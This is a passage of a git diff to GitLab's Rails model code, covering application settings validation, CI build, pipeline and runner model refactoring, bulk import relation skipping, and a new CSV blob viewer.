+ format: { with: %r{\A[a-zA-Z0-9_+=/@:.-]+\z},
message: _("can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'") },
length: { maximum: 20, message: _('is too long (maximum is %{count} characters)') },
allow_blank: true
@@ -372,6 +377,8 @@ class ApplicationSetting < ApplicationRecord
end
end
+ validate :check_valid_runner_registrars
+
validate :terms_exist, if: :enforce_terms?
validates :external_authorization_service_default_label,
@@ -550,6 +557,7 @@ class ApplicationSetting < ApplicationRecord
attr_encrypted :secret_detection_token_revocation_token, encryption_options_base_32_aes_256_gcm
attr_encrypted :cloud_license_auth_token, encryption_options_base_32_aes_256_gcm
attr_encrypted :external_pipeline_validation_service_token, encryption_options_base_32_aes_256_gcm
+ attr_encrypted :mailgun_signing_key, encryption_options_base_32_aes_256_gcm.merge(encode: false)
validates :disable_feed_token,
inclusion: { in: [true, false], message: _('must be a boolean value') }
@@ -582,7 +590,7 @@ class ApplicationSetting < ApplicationRecord
end
def sourcegraph_url_is_com?
- !!(sourcegraph_url =~ /\Ahttps:\/\/(www\.)?sourcegraph\.com/)
+ !!(sourcegraph_url =~ %r{\Ahttps://(www\.)?sourcegraph\.com})
end
def instance_review_permitted?
diff --git a/app/models/application_setting/term.rb b/app/models/application_setting/term.rb
index bab036f5697..acdd7e4155c 100644
--- a/app/models/application_setting/term.rb
+++ b/app/models/application_setting/term.rb
@@ -3,12 +3,14 @@
class ApplicationSetting
class Term < ApplicationRecord
include CacheMarkdownField
- has_many :term_agreements
+ include NullifyIfBlank
- validates :terms, presence: true
+ has_many :term_agreements
cache_markdown_field :terms
+ nullify_if_blank :terms
+
def self.latest
order(:id).last
end
diff --git a/app/models/application_setting_implementation.rb b/app/models/application_setting_implementation.rb
index b613e698471..d7a594af84c 100644
--- a/app/models/application_setting_implementation.rb
+++ b/app/models/application_setting_implementation.rb
@@ -15,6 +15,7 @@ module ApplicationSettingImplementation
# forbidden.
FORBIDDEN_KEY_VALUE = KeyRestrictionValidator::FORBIDDEN
SUPPORTED_KEY_TYPES = %i[rsa dsa ecdsa ed25519].freeze
+ VALID_RUNNER_REGISTRAR_TYPES = %w(project group).freeze
DEFAULT_PROTECTED_PATHS = [
'/users/password',
@@ -103,6 +104,8 @@ module ApplicationSettingImplementation
issues_create_limit: 300,
local_markdown_version: 0,
login_recaptcha_protection_enabled: false,
+ mailgun_signing_key: nil,
+ mailgun_events_enabled: false,
max_artifacts_size: Settings.artifacts['max_size'],
max_attachment_size: Settings.gitlab['max_attachment_size'],
max_import_size: 0,
@@ -186,6 +189,7 @@ module ApplicationSettingImplementation
user_default_external: false,
user_default_internal_regex: nil,
user_show_add_ssh_key_message: true,
+ valid_runner_registrars: VALID_RUNNER_REGISTRAR_TYPES,
wiki_page_max_content_bytes: 50.megabytes,
container_registry_delete_tags_service_timeout: 250,
container_registry_expiration_policies_worker_capacity: 0,
@@ -373,6 +377,10 @@ module ApplicationSettingImplementation
Settings.gitlab.usage_ping_enabled
end
+ def usage_ping_features_enabled?
+ usage_ping_enabled? && usage_ping_features_enabled
+ end
+
def usage_ping_enabled
usage_ping_can_be_configured? && super
end
@@ -507,6 +515,17 @@ module ApplicationSettingImplementation
end
end
+ def check_valid_runner_registrars
+ valid = valid_runner_registrar_combinations.include?(valid_runner_registrars)
+ errors.add(:valid_runner_registrars, _("%{value} is not included in the list") % { value: valid_runner_registrars }) unless valid
+ end
+
+ def valid_runner_registrar_combinations
+ 0.upto(VALID_RUNNER_REGISTRAR_TYPES.size).flat_map do |n|
+ VALID_RUNNER_REGISTRAR_TYPES.permutation(n).to_a
+ end
+ end
+
def terms_exist
return unless enforce_terms?
diff --git a/app/models/audit_event.rb b/app/models/audit_event.rb
index 11036b76fc1..f17fff742fe 100644
--- a/app/models/audit_event.rb
+++ b/app/models/audit_event.rb
@@ -99,7 +99,12 @@ class AuditEvent < ApplicationRecord
end
def parallel_persist
- PARALLEL_PERSISTENCE_COLUMNS.each { |col| self[col] = details[col] }
+ PARALLEL_PERSISTENCE_COLUMNS.each do |name|
+ original = self[name] || self.details[name]
+ next unless original
+
+ self[name] = self.details[name] = original
+ end
end
end
diff --git a/app/models/award_emoji.rb b/app/models/award_emoji.rb
index 5ba6100f169..c8f6b9aaedb 100644
--- a/app/models/award_emoji.rb
+++ b/app/models/award_emoji.rb
@@ -24,8 +24,8 @@ class AwardEmoji < ApplicationRecord
scope :named, -> (names) { where(name: names) }
scope :awarded_by, -> (users) { where(user: users) }
- after_save :expire_etag_cache
- after_destroy :expire_etag_cache
+ after_save :expire_cache
+ after_destroy :expire_cache
class << self
def votes_for_collection(ids, type)
@@ -60,7 +60,9 @@ class AwardEmoji < ApplicationRecord
self.name == UPVOTE_NAME
end
- def expire_etag_cache
+ def expire_cache
+ awardable.try(:bump_updated_at)
awardable.try(:expire_etag_cache)
+ awardable.try(:update_upvotes_count) if upvote?
end
end
diff --git a/app/models/blob.rb b/app/models/blob.rb
index 2185233a1ac..5731d38abe4 100644
--- a/app/models/blob.rb
+++ b/app/models/blob.rb
@@ -27,6 +27,7 @@ class Blob < SimpleDelegator
# type. LFS pointers to `.stl` files are assumed to always be the binary kind,
# and use the `BinarySTL` viewer.
RICH_VIEWERS = [
+ BlobViewer::CSV,
BlobViewer::Markup,
BlobViewer::Notebook,
BlobViewer::SVG,
diff --git a/app/models/blob_viewer/csv.rb b/app/models/blob_viewer/csv.rb
new file mode 100644
index 00000000000..633e3bd63d8
--- /dev/null
+++ b/app/models/blob_viewer/csv.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module BlobViewer
+ class CSV < Base
+ include Rich
+ include ClientSide
+
+ self.binary = false
+ self.extensions = %w(csv)
+ self.partial_name = 'csv'
+ self.switcher_icon = 'table'
+ end
+end
diff --git a/app/models/blob_viewer/go_mod.rb b/app/models/blob_viewer/go_mod.rb
index ae57e2c0526..d4d117f899c 100644
--- a/app/models/blob_viewer/go_mod.rb
+++ b/app/models/blob_viewer/go_mod.rb
@@ -5,13 +5,13 @@ module BlobViewer
include ServerSide
include Gitlab::Utils::StrongMemoize
- MODULE_REGEX = /
+ MODULE_REGEX = %r{
\A (?# beginning of file)
module\s+ (?# module directive)
(?<name>.*?) (?# module name)
- \s*(?:\/\/.*)? (?# comment)
+ \s*(?://.*)? (?# comment)
(?:\n|\z) (?# newline or end of file)
- /x.freeze
+ }x.freeze
self.file_types = %i(go_mod go_sum)
diff --git a/app/models/blob_viewer/markup.rb b/app/models/blob_viewer/markup.rb
index 37a8e01d0f1..6f002a6b224 100644
--- a/app/models/blob_viewer/markup.rb
+++ b/app/models/blob_viewer/markup.rb
@@ -14,9 +14,7 @@ module BlobViewer
{}.tap do |h|
h[:rendered] = blob.rendered_markup if blob.respond_to?(:rendered_markup)
- if Feature.enabled?(:cached_markdown_blob, blob.project, default_enabled: true)
- h[:cache_key] = ['blob', blob.id, 'commit', blob.commit_id]
- end
+ h[:cache_key] = ['blob', blob.id, 'commit', blob.commit_id]
end
end
end
diff --git a/app/models/bulk_import.rb b/app/models/bulk_import.rb
index 5d646313423..dee55675304 100644
--- a/app/models/bulk_import.rb
+++ b/app/models/bulk_import.rb
@@ -4,6 +4,8 @@
# projects to a GitLab instance. It associates the import with the responsible
# user.
class BulkImport < ApplicationRecord
+ MINIMUM_GITLAB_MAJOR_VERSION = 14
+
belongs_to :user, optional: false
has_one :configuration, class_name: 'BulkImports::Configuration'
@@ -31,4 +33,8 @@ class BulkImport < ApplicationRecord
transition any => :failed
end
end
+
+ def self.all_human_statuses
+ state_machine.states.map(&:human_name)
+ end
end
diff --git a/app/models/bulk_imports/entity.rb b/app/models/bulk_imports/entity.rb
index bb543b39a79..24f86b44841 100644
--- a/app/models/bulk_imports/entity.rb
+++ b/app/models/bulk_imports/entity.rb
@@ -48,6 +48,8 @@ class BulkImports::Entity < ApplicationRecord
enum source_type: { group_entity: 0, project_entity: 1 }
+ scope :by_user_id, ->(user_id) { joins(:bulk_import).where(bulk_imports: { user_id: user_id }) }
+
state_machine :status, initial: :created do
state :created, value: 0
state :started, value: 1
@@ -68,6 +70,10 @@ class BulkImports::Entity < ApplicationRecord
end
end
+ def self.all_human_statuses
+ state_machine.states.map(&:human_name)
+ end
+
def encoded_source_full_path
ERB::Util.url_encode(source_full_path)
end
diff --git a/app/models/bulk_imports/export_status.rb b/app/models/bulk_imports/export_status.rb
index 98804d18f27..ff165830cf1 100644
--- a/app/models/bulk_imports/export_status.rb
+++ b/app/models/bulk_imports/export_status.rb
@@ -9,7 +9,7 @@ module BulkImports
@relation = relation
@entity = @pipeline_tracker.entity
@configuration = @entity.bulk_import.configuration
- @client = Clients::HTTP.new(uri: @configuration.url, token: @configuration.access_token)
+ @client = Clients::HTTP.new(url: @configuration.url, token: @configuration.access_token)
end
def started?
diff --git a/app/models/bulk_imports/file_transfer/base_config.rb b/app/models/bulk_imports/file_transfer/base_config.rb
index 7396f9d3655..ddea7c3f64c 100644
--- a/app/models/bulk_imports/file_transfer/base_config.rb
+++ b/app/models/bulk_imports/file_transfer/base_config.rb
@@ -30,7 +30,7 @@ module BulkImports
end
def portable_relations
- import_export_config.dig(:tree, portable_class_sym).keys.map(&:to_s)
+ import_export_config.dig(:tree, portable_class_sym).keys.map(&:to_s) - skipped_relations
end
private
@@ -66,6 +66,10 @@ module BulkImports
def base_export_path
raise NotImplementedError
end
+
+ def skipped_relations
+ []
+ end
end
end
end
diff --git a/app/models/bulk_imports/file_transfer/group_config.rb b/app/models/bulk_imports/file_transfer/group_config.rb
index 1f845b387b8..2266cbb484f 100644
--- a/app/models/bulk_imports/file_transfer/group_config.rb
+++ b/app/models/bulk_imports/file_transfer/group_config.rb
@@ -10,6 +10,10 @@ module BulkImports
def import_export_yaml
::Gitlab::ImportExport.group_config_file
end
+
+ def skipped_relations
+ @skipped_relations ||= %w(members)
+ end
end
end
end
diff --git a/app/models/bulk_imports/file_transfer/project_config.rb b/app/models/bulk_imports/file_transfer/project_config.rb
index e42b5bfce3d..8a57f51c1c5 100644
--- a/app/models/bulk_imports/file_transfer/project_config.rb
+++ b/app/models/bulk_imports/file_transfer/project_config.rb
@@ -10,6 +10,10 @@ module BulkImports
def import_export_yaml
::Gitlab::ImportExport.config_file
end
+
+ def skipped_relations
+ @skipped_relations ||= %w(project_members group_members)
+ end
end
end
end
diff --git a/app/models/ci/base_model.rb b/app/models/ci/base_model.rb
new file mode 100644
index 00000000000..8fb752ead1d
--- /dev/null
+++ b/app/models/ci/base_model.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Ci
+ # TODO: https://gitlab.com/groups/gitlab-org/-/epics/6168
+ #
+ # Do not use this yet outside of `ci_instance_variables`.
+ # This class is part of a migration to move all CI classes to a new separate database.
+ # Initially we are only going to be moving the `Ci::InstanceVariable` model and it will be duplicated in the main and CI tables
+ # Do not extend this class in any other models.
+ class BaseModel < ::ApplicationRecord
+ self.abstract_class = true
+
+ if Gitlab::Database.has_config?(:ci)
+ connects_to database: { writing: :ci, reading: :ci }
+ end
+ end
+end
diff --git a/app/models/ci/build.rb b/app/models/ci/build.rb
index fdfffd9b0cd..4328f3f7a4b 100644
--- a/app/models/ci/build.rb
+++ b/app/models/ci/build.rb
@@ -11,7 +11,6 @@ module Ci
include Importable
include Ci::HasRef
include IgnorableColumns
- include TaggableQueries
BuildArchivedError = Class.new(StandardError)
@@ -136,6 +135,7 @@ module Ci
scope :eager_load_job_artifacts, -> { includes(:job_artifacts) }
scope :eager_load_job_artifacts_archive, -> { includes(:job_artifacts_archive) }
+ scope :eager_load_tags, -> { includes(:tags) }
scope :eager_load_everything, -> do
includes(
@@ -178,25 +178,6 @@ module Ci
joins(:metadata).where("ci_builds_metadata.config_options -> 'artifacts' -> 'reports' ?| array[:job_types]", job_types: job_types)
end
- scope :matches_tag_ids, -> (tag_ids) do
- matcher = ::ActsAsTaggableOn::Tagging
- .where(taggable_type: CommitStatus.name)
- .where(context: 'tags')
- .where('taggable_id = ci_builds.id')
- .where.not(tag_id: tag_ids).select('1')
-
- where("NOT EXISTS (?)", matcher)
- end
-
- scope :with_any_tags, -> do
- matcher = ::ActsAsTaggableOn::Tagging
- .where(taggable_type: CommitStatus.name)
- .where(context: 'tags')
- .where('taggable_id = ci_builds.id').select('1')
-
- where("EXISTS (?)", matcher)
- end
-
scope :queued_before, ->(time) { where(arel_table[:queued_at].lt(time)) }
scope :preload_project_and_pipeline_project, -> do
@@ -212,7 +193,7 @@ module Ci
acts_as_taggable
- add_authentication_token_field :token, encrypted: :optional
+ add_authentication_token_field :token, encrypted: :required
before_save :ensure_token
before_destroy { unscoped_project }
@@ -344,7 +325,11 @@ module Ci
build.run_after_commit do
build.run_status_commit_hooks!
- BuildFinishedWorker.perform_async(id)
+ if Feature.enabled?(:ci_build_finished_worker_namespace_changed, build.project, default_enabled: :yaml)
+ Ci::BuildFinishedWorker.perform_async(id)
+ else
+ ::BuildFinishedWorker.perform_async(id)
+ end
end
end
@@ -758,6 +743,14 @@ module Ci
self.token && ActiveSupport::SecurityUtils.secure_compare(token, self.token)
end
+ def tag_list
+ if tags.loaded?
+ tags.map(&:name)
+ else
+ super
+ end
+ end
+
def has_tags?
tag_list.any?
end
@@ -782,7 +775,7 @@ module Ci
return unless project
project.execute_hooks(build_data.dup, :job_hooks) if project.has_active_hooks?(:job_hooks)
- project.execute_services(build_data.dup, :job_hooks) if project.has_active_services?(:job_hooks)
+ project.execute_integrations(build_data.dup, :job_hooks) if project.has_active_integrations?(:job_hooks)
end
def browsable_artifacts?
@@ -939,8 +932,7 @@ module Ci
end
def supports_artifacts_exclude?
- options&.dig(:artifacts, :exclude)&.any? &&
- Gitlab::Ci::Features.artifacts_exclude_enabled?
+ options&.dig(:artifacts, :exclude)&.any?
end
def multi_build_steps?
diff --git a/app/models/ci/build_dependencies.rb b/app/models/ci/build_dependencies.rb
index d39e0411a79..c4a04d42a1e 100644
--- a/app/models/ci/build_dependencies.rb
+++ b/app/models/ci/build_dependencies.rb
@@ -37,12 +37,20 @@ module Ci
next [] unless processable.pipeline_id # we don't have any dependency when creating the pipeline
deps = model_class.where(pipeline_id: processable.pipeline_id).latest
- deps = from_previous_stages(deps)
- deps = from_needs(deps)
+ deps = find_dependencies(processable, deps)
+
from_dependencies(deps).to_a
end
end
+ def find_dependencies(processable, deps)
+ if processable.scheduling_type_dag?
+ from_needs(deps)
+ else
+ from_previous_stages(deps)
+ end
+ end
+
# Dependencies from the same parent-pipeline hierarchy excluding
# the current job's pipeline
def cross_pipeline
@@ -125,8 +133,6 @@ module Ci
end
def from_needs(scope)
- return scope unless processable.scheduling_type_dag?
-
needs_names = processable.needs.artifacts.select(:name)
scope.where(name: needs_names)
end
diff --git a/app/models/ci/build_metadata.rb b/app/models/ci/build_metadata.rb
index f009e4c6aa1..50775f578f0 100644
--- a/app/models/ci/build_metadata.rb
+++ b/app/models/ci/build_metadata.rb
@@ -22,8 +22,8 @@ module Ci
validates :build, presence: true
validates :secrets, json_schema: { filename: 'build_metadata_secrets' }
- serialize :config_options, Serializers::Json # rubocop:disable Cop/ActiveRecordSerialize
- serialize :config_variables, Serializers::Json # rubocop:disable Cop/ActiveRecordSerialize
+ serialize :config_options, Serializers::SymbolizedJson # rubocop:disable Cop/ActiveRecordSerialize
+ serialize :config_variables, Serializers::SymbolizedJson # rubocop:disable Cop/ActiveRecordSerialize
chronic_duration_attr_reader :timeout_human_readable, :timeout
diff --git a/app/models/ci/build_trace_chunk.rb b/app/models/ci/build_trace_chunk.rb
index 25f4a06088d..3fa9a484b0c 100644
--- a/app/models/ci/build_trace_chunk.rb
+++ b/app/models/ci/build_trace_chunk.rb
@@ -14,13 +14,7 @@ module Ci
belongs_to :build, class_name: "Ci::Build", foreign_key: :build_id
- default_value_for :data_store do
- if Feature.enabled?(:dedicated_redis_trace_chunks, type: :ops)
- :redis_trace_chunks
- else
- :redis
- end
- end
+ default_value_for :data_store, :redis_trace_chunks
after_create { metrics.increment_trace_operation(operation: :chunked) }
@@ -115,7 +109,7 @@ module Ci
raise ArgumentError, 'Offset is out of range' if offset > size || offset < 0
return if offset == size # Skip the following process as it doesn't affect anything
- self.append("", offset)
+ self.append(+"", offset)
end
def append(new_data, offset)
diff --git a/app/models/ci/build_trace_chunks/fog.rb b/app/models/ci/build_trace_chunks/fog.rb
index fab85fae33d..3bfac2b33c0 100644
--- a/app/models/ci/build_trace_chunks/fog.rb
+++ b/app/models/ci/build_trace_chunks/fog.rb
@@ -25,14 +25,36 @@ module Ci
files.create(create_attributes(model, new_data))
end
+ # This is the sequence that causes append_data to be called:
+ #
+ # 1. Runner sends a PUT /api/v4/jobs/:id to indicate the job is canceled or finished.
+ # 2. UpdateBuildStateService#accept_build_state! persists all live job logs to object storage (or filesystem).
+ # 3. UpdateBuildStateService#accept_build_state! returns a 202 to the runner.
+ # 4. The runner continues to send PATCH requests with job logs until all logs have been sent and received.
+ # 5. If the last PATCH request arrives after the job log has been persisted, we
+ # retrieve the data from object storage to append the remaining lines.
def append_data(model, new_data, offset)
if offset > 0
truncated_data = data(model).to_s.byteslice(0, offset)
- new_data = truncated_data + new_data
+ new_data = append_strings(truncated_data, new_data)
end
set_data(model, new_data)
new_data.bytesize
+ rescue Encoding::CompatibilityError => e
+ Gitlab::ErrorTracking.track_and_raise_exception(
+ e,
+ build_id: model.build_id,
+ chunk_index: model.chunk_index,
+ chunk_start_offset: model.start_offset,
+ chunk_end_offset: model.end_offset,
+ chunk_size: model.size,
+ chunk_data_store: model.data_store,
+ offset: offset,
+ old_data_encoding: truncated_data.encoding.to_s,
+ new_data: new_data,
+ new_data_size: new_data.bytesize,
+ new_data_encoding: new_data.encoding.to_s)
end
def size(model)
@@ -57,6 +79,17 @@ module Ci
private
+ def append_strings(old_data, new_data)
+ if Feature.enabled?(:ci_job_trace_force_encode, default_enabled: :yaml)
+ # When object storage is in use, old_data may be retrieved in UTF-8.
+ old_data = old_data.force_encoding(Encoding::ASCII_8BIT)
+ # new_data should already be in ASCII-8BIT, but just in case it isn't, do this.
+ new_data = new_data.force_encoding(Encoding::ASCII_8BIT)
+ end
+
+ old_data + new_data
+ end
+
def key(model)
key_raw(model.build_id, model.chunk_index)
end
diff --git a/app/models/ci/group.rb b/app/models/ci/group.rb
index 47b91fcf2ce..e5cb2026503 100644
--- a/app/models/ci/group.rb
+++ b/app/models/ci/group.rb
@@ -10,6 +10,7 @@ module Ci
class Group
include StaticModel
include Gitlab::Utils::StrongMemoize
+ include GlobalID::Identification
attr_reader :project, :stage, :name, :jobs
@@ -22,6 +23,10 @@ module Ci
@jobs = jobs
end
+ def id
+ "#{stage.id}-#{name}"
+ end
+
def ==(other)
other.present? && other.is_a?(self.class) &&
project == other.project &&
diff --git a/app/models/ci/instance_variable.rb b/app/models/ci/instance_variable.rb
index e083caa8751..5aee4c924af 100644
--- a/app/models/ci/instance_variable.rb
+++ b/app/models/ci/instance_variable.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module Ci
- class InstanceVariable < ApplicationRecord
+ class InstanceVariable < ::Ci::BaseModel
extend Gitlab::Ci::Model
extend Gitlab::ProcessMemoryCache::Helper
include Ci::NewHasVariable
diff --git a/app/models/ci/job_artifact.rb b/app/models/ci/job_artifact.rb
index 6a7a2b3f6bd..46c976d5616 100644
--- a/app/models/ci/job_artifact.rb
+++ b/app/models/ci/job_artifact.rb
@@ -33,6 +33,7 @@ module Ci
secret_detection: 'gl-secret-detection-report.json',
dependency_scanning: 'gl-dependency-scanning-report.json',
container_scanning: 'gl-container-scanning-report.json',
+ cluster_image_scanning: 'gl-cluster-image-scanning-report.json',
dast: 'gl-dast-report.json',
license_scanning: 'gl-license-scanning-report.json',
performance: 'performance.json',
@@ -71,6 +72,7 @@ module Ci
secret_detection: :raw,
dependency_scanning: :raw,
container_scanning: :raw,
+ cluster_image_scanning: :raw,
dast: :raw,
license_scanning: :raw,
@@ -108,6 +110,7 @@ module Ci
sast
secret_detection
requirements
+ cluster_image_scanning
].freeze
TYPE_AND_FORMAT_PAIRS = INTERNAL_TYPES.merge(REPORT_TYPES).freeze
@@ -181,6 +184,8 @@ module Ci
scope :with_destroy_preloads, -> { includes(project: [:route, :statistics]) }
scope :scoped_project, -> { where('ci_job_artifacts.project_id = projects.id') }
+ scope :for_project, ->(project) { where(project_id: project) }
+ scope :created_in_time_range, ->(from: nil, to: nil) { where(created_at: from..to) }
delegate :filename, :exists?, :open, to: :file
@@ -210,7 +215,8 @@ module Ci
coverage_fuzzing: 23, ## EE-specific
browser_performance: 24, ## EE-specific
load_performance: 25, ## EE-specific
- api_fuzzing: 26 ## EE-specific
+ api_fuzzing: 26, ## EE-specific
+ cluster_image_scanning: 27 ## EE-specific
}
# `file_location` indicates where actual files are stored.
diff --git a/app/models/ci/job_token/project_scope_link.rb b/app/models/ci/job_token/project_scope_link.rb
index 283ad4a190d..99118f8090b 100644
--- a/app/models/ci/job_token/project_scope_link.rb
+++ b/app/models/ci/job_token/project_scope_link.rb
@@ -19,6 +19,10 @@ module Ci
validates :target_project, presence: true
validate :not_self_referential_link
+ def self.for_source_and_target(source_project, target_project)
+ self.find_by(source_project: source_project, target_project: target_project)
+ end
+
private
def not_self_referential_link
diff --git a/app/models/ci/pending_build.rb b/app/models/ci/pending_build.rb
index b9a8a44bd6b..0663052f51d 100644
--- a/app/models/ci/pending_build.rb
+++ b/app/models/ci/pending_build.rb
@@ -7,12 +7,52 @@ module Ci
belongs_to :project
belongs_to :build, class_name: 'Ci::Build'
+ scope :ref_protected, -> { where(protected: true) }
+ scope :queued_before, ->(time) { where(arel_table[:created_at].lt(time)) }
+
def self.upsert_from_build!(build)
- entry = self.new(build: build, project: build.project, protected: build.protected?)
+ entry = self.new(args_from_build(build))
entry.validate!
self.upsert(entry.attributes.compact, returning: %w[build_id], unique_by: :build_id)
end
+
+ def self.args_from_build(build)
+ args = {
+ build: build,
+ project: build.project,
+ protected: build.protected?
+ }
+
+ if Feature.enabled?(:ci_pending_builds_maintain_shared_runners_data, type: :development, default_enabled: :yaml)
+ args.merge(instance_runners_enabled: shareable?(build))
+ else
+ args
+ end
+ end
+ private_class_method :args_from_build
+
+ def self.shareable?(build)
+ shared_runner_enabled?(build) &&
+ builds_access_level?(build) &&
+ project_not_removed?(build)
+ end
+ private_class_method :shareable?
+
+ def self.shared_runner_enabled?(build)
+ build.project.shared_runners.exists?
+ end
+ private_class_method :shared_runner_enabled?
+
+ def self.project_not_removed?(build)
+ !build.project.pending_delete?
+ end
+ private_class_method :project_not_removed?
+
+ def self.builds_access_level?(build)
+ build.project.project_feature.builds_access_level.nil? || build.project.project_feature.builds_access_level > 0
+ end
+ private_class_method :builds_access_level?
end
end
diff --git a/app/models/ci/pipeline.rb b/app/models/ci/pipeline.rb
index 159d9d10878..5d079f57267 100644
--- a/app/models/ci/pipeline.rb
+++ b/app/models/ci/pipeline.rb
@@ -29,6 +29,8 @@ module Ci
BridgeStatusError = Class.new(StandardError)
+ paginates_per 15
+
sha_attribute :source_sha
sha_attribute :target_sha
@@ -222,7 +224,7 @@ module Ci
end
after_transition [:created, :waiting_for_resource, :preparing, :pending, :running] => :success do |pipeline|
- # We wait a little bit to ensure that all BuildFinishedWorkers finish first
+ # We wait a little bit to ensure that all Ci::BuildFinishedWorkers finish first
# because this is where some metrics like code coverage is parsed and stored
# in CI build records which the daily build metrics worker relies on.
pipeline.run_after_commit { Ci::DailyBuildGroupReportResultsWorker.perform_in(10.minutes, pipeline.id) }
@@ -577,11 +579,11 @@ module Ci
canceled? && auto_canceled_by_id?
end
- def cancel_running(retries: nil)
+ def cancel_running(retries: 1)
commit_status_relations = [:project, :pipeline]
ci_build_relations = [:deployment, :taggings]
- retry_optimistic_lock(cancelable_statuses, retries, name: 'ci_pipeline_cancel_running') do |cancelables|
+ retry_lock(cancelable_statuses, retries, name: 'ci_pipeline_cancel_running') do |cancelables|
cancelables.find_in_batches do |batch|
ActiveRecord::Associations::Preloader.new.preload(batch, commit_status_relations)
ActiveRecord::Associations::Preloader.new.preload(batch.select { |job| job.is_a?(Ci::Build) }, ci_build_relations)
@@ -594,7 +596,7 @@ module Ci
end
end
- def auto_cancel_running(pipeline, retries: nil)
+ def auto_cancel_running(pipeline, retries: 1)
update(auto_canceled_by: pipeline)
cancel_running(retries: retries) do |job|
@@ -610,8 +612,6 @@ module Ci
# rubocop: enable CodeReuse/ServiceClass
def lazy_ref_commit
- return unless ::Gitlab::Ci::Features.pipeline_latest?
-
BatchLoader.for(ref).batch do |refs, loader|
next unless project.repository_exists?
@@ -623,11 +623,6 @@ module Ci
def latest?
return false unless git_ref && commit.present?
-
- unless ::Gitlab::Ci::Features.pipeline_latest?
- return project.commit(git_ref) == commit
- end
-
return false if lazy_ref_commit.nil?
lazy_ref_commit.id == commit.id
@@ -861,7 +856,7 @@ module Ci
def execute_hooks
project.execute_hooks(pipeline_data, :pipeline_hooks) if project.has_active_hooks?(:pipeline_hooks)
- project.execute_services(pipeline_data, :pipeline_hooks) if project.has_active_services?(:pipeline_hooks)
+ project.execute_integrations(pipeline_data, :pipeline_hooks) if project.has_active_integrations?(:pipeline_hooks)
end
# All the merge requests for which the current pipeline runs/ran against
@@ -911,7 +906,7 @@ module Ci
def same_family_pipeline_ids
::Gitlab::Ci::PipelineObjectHierarchy.new(
- self.class.default_scoped.where(id: root_ancestor), options: { same_project: true }
+ self.class.default_scoped.where(id: root_ancestor), options: { project_condition: :same }
).base_and_descendants.select(:id)
end
@@ -932,29 +927,34 @@ module Ci
Environment.where(id: environment_ids)
end
- # Without using `unscoped`, caller scope is also included into the query.
- # Using `unscoped` here will be redundant after Rails 6.1
+ # With multi-project and parent-child pipelines
+ def self_and_upstreams
+ object_hierarchy.base_and_ancestors
+ end
+
+ # With multi-project and parent-child pipelines
+ def self_with_upstreams_and_downstreams
+ object_hierarchy.all_objects
+ end
+
+ # With only parent-child pipelines
+ def self_and_ancestors
+ object_hierarchy(project_condition: :same).base_and_ancestors
+ end
+
+ # With only parent-child pipelines
def self_and_descendants
- ::Gitlab::Ci::PipelineObjectHierarchy
- .new(self.class.unscoped.where(id: id), options: { same_project: true })
- .base_and_descendants
+ object_hierarchy(project_condition: :same).base_and_descendants
end
def root_ancestor
return self unless child?
- Gitlab::Ci::PipelineObjectHierarchy
- .new(self.class.unscoped.where(id: id), options: { same_project: true })
+ object_hierarchy(project_condition: :same)
.base_and_ancestors(hierarchy_order: :desc)
.first
end
- def self_with_ancestors_and_descendants(same_project: false)
- ::Gitlab::Ci::PipelineObjectHierarchy
- .new(self.class.unscoped.where(id: id), options: { same_project: same_project })
- .all_objects
- end
-
def bridge_triggered?
source_bridge.present?
end
@@ -1026,8 +1026,6 @@ module Ci
end
def can_generate_codequality_reports?
- return false unless ::Gitlab::Ci::Features.display_quality_on_mr_diff?(project)
-
has_reports?(Ci::JobArtifact.codequality_reports)
end
@@ -1214,14 +1212,6 @@ module Ci
self.ci_ref = Ci::Ref.ensure_for(self)
end
- def base_and_ancestors(same_project: false)
- # Without using `unscoped`, caller scope is also included into the query.
- # Using `unscoped` here will be redundant after Rails 6.1
- ::Gitlab::Ci::PipelineObjectHierarchy
- .new(self.class.unscoped.where(id: id), options: { same_project: same_project })
- .base_and_ancestors
- end
-
# We need `base_and_ancestors` in a specific order to "break" when needed.
# If we use `find_each`, then the order is broken.
# rubocop:disable Rails/FindEach
@@ -1232,7 +1222,7 @@ module Ci
source_bridge.pending!
Ci::AfterRequeueJobService.new(project, current_user).execute(source_bridge) # rubocop:disable CodeReuse/ServiceClass
else
- base_and_ancestors.includes(:source_bridge).each do |pipeline|
+ self_and_upstreams.includes(:source_bridge).each do |pipeline|
break unless pipeline.bridge_waiting?
pipeline.source_bridge.pending!
@@ -1315,6 +1305,13 @@ module Ci
project.repository.keep_around(self.sha, self.before_sha)
end
+
+ # Without using `unscoped`, caller scope is also included into the query.
+ # Using `unscoped` here will be redundant after Rails 6.1
+ def object_hierarchy(options = {})
+ ::Gitlab::Ci::PipelineObjectHierarchy
+ .new(self.class.unscoped.where(id: id), options: options)
+ end
end
end
diff --git a/app/models/ci/runner.rb b/app/models/ci/runner.rb
index 71110ef0696..a541dca47de 100644
--- a/app/models/ci/runner.rb
+++ b/app/models/ci/runner.rb
@@ -13,7 +13,7 @@ module Ci
include Gitlab::Utils::StrongMemoize
include TaggableQueries
- add_authentication_token_field :token, encrypted: -> { Feature.enabled?(:ci_runners_tokens_optional_encryption, default_enabled: true) ? :optional : :required }
+ add_authentication_token_field :token, encrypted: :optional
enum access_level: {
not_protected: 0,
@@ -214,15 +214,15 @@ module Ci
Arel.sql("(#{arel_tag_names_array.to_sql})")
]
- # we use distinct to de-duplicate data
- distinct.pluck(*unique_params).map do |values|
+ group(*unique_params).pluck('array_agg(ci_runners.id)', *unique_params).map do |values|
Gitlab::Ci::Matching::RunnerMatcher.new({
- runner_type: values[0],
- public_projects_minutes_cost_factor: values[1],
- private_projects_minutes_cost_factor: values[2],
- run_untagged: values[3],
- access_level: values[4],
- tag_list: values[5]
+ runner_ids: values[0],
+ runner_type: values[1],
+ public_projects_minutes_cost_factor: values[2],
+ private_projects_minutes_cost_factor: values[3],
+ run_untagged: values[4],
+ access_level: values[5],
+ tag_list: values[6]
})
end
end
@@ -230,6 +230,7 @@ module Ci
def runner_matcher
strong_memoize(:runner_matcher) do
Gitlab::Ci::Matching::RunnerMatcher.new({
+ runner_ids: [id],
runner_type: runner_type,
public_projects_minutes_cost_factor: public_projects_minutes_cost_factor,
private_projects_minutes_cost_factor: private_projects_minutes_cost_factor,
diff --git a/app/models/clusters/applications/runner.rb b/app/models/clusters/applications/runner.rb
